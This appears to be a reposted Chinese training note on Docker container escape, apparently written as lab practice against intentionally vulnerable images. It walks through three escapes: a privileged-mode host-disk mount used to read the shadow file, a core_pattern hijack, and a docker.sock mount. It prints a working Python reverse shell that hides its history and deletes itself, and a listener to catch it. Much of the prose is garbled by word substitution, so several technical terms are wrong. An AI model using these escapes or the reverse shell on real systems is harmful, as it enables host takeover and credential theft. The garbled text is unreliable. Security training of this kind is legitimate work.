火影 发表于 2024-8-8 18:00:15

Day95:云上攻防-云原生篇&Docker安全&权限情况检测&容器逃逸&特权模式&危

目次
云原生-Docker安全-容器逃逸&特权模式
云原生-Docker安全-容器逃逸&挂载Procfs
云原生-Docker安全-容器逃逸&挂载Socket
云原生-Docker安全-容器逃逸条件&权限高低
高权限-Web入口到Docker逃逸(java)特权模式逃逸
低权限-Web入口到Docker逃逸(PHP)特权模式逃逸


   知识点:
   1、云原生-Docker安全-容器逃逸&特权模式
   2、云原生-Docker安全-容器逃逸&挂载Procfs
   3、云原生-Docker安全-容器逃逸&挂载Socket
   4、云原生-Docker安全-容器逃逸条件&权限高低
    1、Docker是干嘛的?
一个容器技术,类似于VM捏造机,别人情况封装好打包成一个镜像,使用docker技术就能快速把这个镜像情况还原出来。
2、Docker对于渗出测试影响?
攻击者攻击捏造空间磁盘,拿到最高权限也是捏造空间的权限,而不是真实物理情况的权限
https://i-blog.csdnimg.cn/blog_migrate/7b9142fb1f7a0f7ce6571412548e1af4.png
3、前渗出-判断是否在容器中
前提:拿到权限
https://blog.csdn.net/qq_23936389/article/details/131486643

方式一:查询cgroup信息
最简朴精准的方式就是查询体系进程的cgroup信息,通过响应的内容可以识别当前进程所处的运行情况,就可以知道是在捏造机、docker还是kubepods里。
cat /proc/1/cgroup
docker 情况下:
https://i-blog.csdnimg.cn/blog_migrate/c20239bbdba052103511b698320c3088.png
K8s情况下:
https://i-blog.csdnimg.cn/blog_migrate/6e10eb5e971b79ded857254bf5442298.png

方式二:查抄/.dockerenv文件
通过判断根目次下的 .dockerenv文件是否存在,可以简朴的识别docker情况。
K8s&docker情况下:
ls -alh /.dockerenv 
可以找到文件。
https://i-blog.csdnimg.cn/blog_migrate/14faff9ad1e17c870bd368e807bc25ed.png

方式三:检察端口运行情况
netstat -anpt
https://i-blog.csdnimg.cn/blog_migrate/8b4322335d0ec01c608f7c9494f83a7f.png

4、后渗出-三种安全容器逃逸

[*]特权模式启动导致(不安全启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才气逃逸)
[*]危险挂载启动导致(危险启动,适用于java jsp高权限入口无需提权 低权限入口还要提权才气逃逸)
[*]docker自身版本毛病&体系内核毛病(软件版本毛病和体系毛病 高低权限都可用)
参考地址:https://wiki.teamssix.com/CloudNative/
https://i-blog.csdnimg.cn/blog_migrate/c641760e0060e8018ad506fcc8636e72.png


云原生-Docker安全-容器逃逸&特权模式

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-privileged-escape.html
1、以特权模式启动靶场
docker run --rm --privileged=true -it alpine
https://i-blog.csdnimg.cn/blog_migrate/67c37b86539bddb47cb16df0350a540e.png
2、检测是否是docker情况
cat /proc/1/cgroup | grep -qi docker && echo "Is Docker" || echo "Not Docker"
https://i-blog.csdnimg.cn/blog_migrate/bb93ed761851a90ded94468e6ec50f3b.png
3、判断是否是特权模式
cat /proc/self/status | grep CapEff
https://i-blog.csdnimg.cn/blog_migrate/092a5a4c9d93f6bb782881bf15cd76f5.png

https://i-blog.csdnimg.cn/blog_migrate/604eb7c59431c65840236d741792f7a2.png
https://i-blog.csdnimg.cn/blog_migrate/bdd0afaf5ccbda8e536452c136113a5e.png

4、检察目次
fdisk -l
https://i-blog.csdnimg.cn/blog_migrate/382167c65ba8dcdb5d6a3ddb6ae94ffb.png

5、特权模式逃逸
mkdir /test && mount /dev/sda1 /test
https://i-blog.csdnimg.cn/blog_migrate/24c8b5ef928061b1f330b79094be620c.png
cd /test/
ls
https://i-blog.csdnimg.cn/blog_migrate/526746eaab4a4a1db221ccaf9847f22f.png
尝试访问宿主机 shadow 文件,可以看到正常访问
https://i-blog.csdnimg.cn/blog_migrate/e53a854b1dfb1c13a92523d012171330.png


云原生-Docker安全-容器逃逸&挂载Procfs

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-procfs-escape.html
1、启动情况
docker run -it -v /proc/sys/kernel/core_pattern:/host/proc/sys/kernel/core_pattern ubuntu
https://i-blog.csdnimg.cn/blog_migrate/143df5734611c8d250a9daf06bdee840.png
2、检测情况
find / -name core_pattern
https://i-blog.csdnimg.cn/blog_migrate/842104cb289e16a921601213a2133219.png
3、查找路径(容器在真实磁盘的绝对路径)
cat /proc/mounts | grep workdir
https://i-blog.csdnimg.cn/blog_migrate/740d3ddb6d5fedcdcf8356bac8db63b0.png
4、写入文件
cat >/tmp/.x.py << EOF
#!/usr/bin/python
import os
import pty
import socket
lhost = "xx.xx.xx.xx"//反弹IP
lport = xxxx //反弹端口
def main():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((lhost, lport))
    os.dup2(s.fileno(), 0)
    os.dup2(s.fileno(), 1)
    os.dup2(s.fileno(), 2)
    os.putenv("HISTFILE", '/dev/null')
    pty.spawn("/bin/bash")
    os.remove('/tmp/.x.py')
    s.close()
if __name__ == "__main__":
    main()
EOF
https://i-blog.csdnimg.cn/blog_migrate/04318907538aa60a804fc505f90ac297.png
chmod +x /tmp/.x.py
https://i-blog.csdnimg.cn/blog_migrate/7709729cb960eb4494887e42111745d1.png
echo -e "|/var/lib/docker/overlay2/4aac278b06d86b0d7b6efa4640368820c8c16f1da8662997ec1845f3cc69ccee/merged/tmp/.x.py \rcore         " > /host/proc/sys/kernel/core_pattern
//这里的路径要替换为workdir的绝对路径
https://i-blog.csdnimg.cn/blog_migrate/ec35338380b0750c16f7f33a8805c240.png
cat >/tmp/x.c << EOF
#include <stdio.h>
int main(void)
{
    int *a = NULL;
    *a = 1;
    return 0;
}
EOF
https://i-blog.csdnimg.cn/blog_migrate/4cd3c9a536ccea6ed2cb09244cd0ae68.png
cd /tmp
gcc x.c -o x//编译c文件
https://i-blog.csdnimg.cn/blog_migrate/8f0bc1f28119523aaca3fd3aea0b3c97.png
apt-get update -y && apt-get installgcc -y
//实战中不推荐安装gcc环境,可以在linux上编译好后上传到容器中执行就行
https://i-blog.csdnimg.cn/blog_migrate/843049eee2ea957d0ea4feb3986bb874.png
5、实验文件:
./x
vps上监听即可
nc -lvvp xxxx
https://i-blog.csdnimg.cn/blog_migrate/54608214862abfc9dc0e20333b484c95.png


云原生-Docker安全-容器逃逸&挂载Socket

参考地址:https://wiki.teamssix.com/CloudNative/Docker/docker-socket-escape.html
1、启动靶场
docker run -itd --name with_docker_sock -v /var/run/docker.sock:/var/run/docker.sock ubuntu
https://i-blog.csdnimg.cn/blog_migrate/3dd12a8d6737b74865cb814178e0bee1.png
2、进入情况
docker exec -it with_docker_sock /bin/bash
https://i-blog.csdnimg.cn/blog_migrate/bd855d53b2eb2c87e0b6a122d400db47.png
3、检测情况
ls -lah /var/run/docker.sock
https://i-blog.csdnimg.cn/blog_migrate/69a98b70449022e6d6f7b75d912dcc84.png
https://i-blog.csdnimg.cn/blog_migrate/9ab620a825db298dec00ba5fcd1820e4.png
4、挂载逃逸
apt-get update
apt-get install curl
curl -fsSL https://get.docker.com/ | sh
在容器内部创建一个新的容器,并将宿主机目次挂载到新的容器内部
docker run -it -v /:/host ubuntu /bin/bash
https://i-blog.csdnimg.cn/blog_migrate/eba17899f4823baa4776472fc8cf6cc0.png
ls /host/root
https://i-blog.csdnimg.cn/blog_migrate/b9649377b24ecfc29cbaedb7a2f6fd39.png

云原生-Docker安全-容器逃逸条件&权限高低

模拟真实场景:

高权限-Web入口到Docker逃逸(java)特权模式逃逸

docker run --rm --privileged=true -it -p 8888:8080 vulfocus/shiro-721
https://i-blog.csdnimg.cn/blog_migrate/49de656dbc6178d853642720ccfb4ce8.png
https://i-blog.csdnimg.cn/blog_migrate/3013fb5ef53c76a3badcf03ecf56952f.png
https://i-blog.csdnimg.cn/blog_migrate/bc842a83102a7dee0f2c29fc2f26b15c.png
https://i-blog.csdnimg.cn/blog_migrate/71ead18d12564fb86c99809d2af589a5.png
https://i-blog.csdnimg.cn/blog_migrate/39c658f192e4268f94bf16609374136e.png
https://i-blog.csdnimg.cn/blog_migrate/10d5d48c592b0b7dc5cbb9e6af39665a.png
https://i-blog.csdnimg.cn/blog_migrate/47c992e6738810a44c7e3bb5b3705db3.png

低权限-Web入口到Docker逃逸(PHP)特权模式逃逸

docker run --rm --privileged=true -it -p 8080:80 sagikazarmark/dvwa
https://i-blog.csdnimg.cn/blog_migrate/dbe9cb5370fb85f57c24f8194a5c0142.png
https://i-blog.csdnimg.cn/blog_migrate/189adee5e485091aa75b4532805b5da4.png
https://i-blog.csdnimg.cn/blog_migrate/8cd6dbc56034bc15a034d417b9f225c0.png
https://i-blog.csdnimg.cn/blog_migrate/4eb7f9e498a41d98936aa80c142c526f.png
https://i-blog.csdnimg.cn/blog_migrate/830a300ffc71aafbf479682eea534f96.png
https://i-blog.csdnimg.cn/blog_migrate/98f659c380b3e7d212965622cd88d821.png
入口假如是低权限的话是没法用特权模式和危险挂载去逃逸的,但是可以利用体系毛病或者docker自身毛病去逃逸。


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: Day95:云上攻防-云原生篇&Docker安全&权限情况检测&容器逃逸&特权模式&危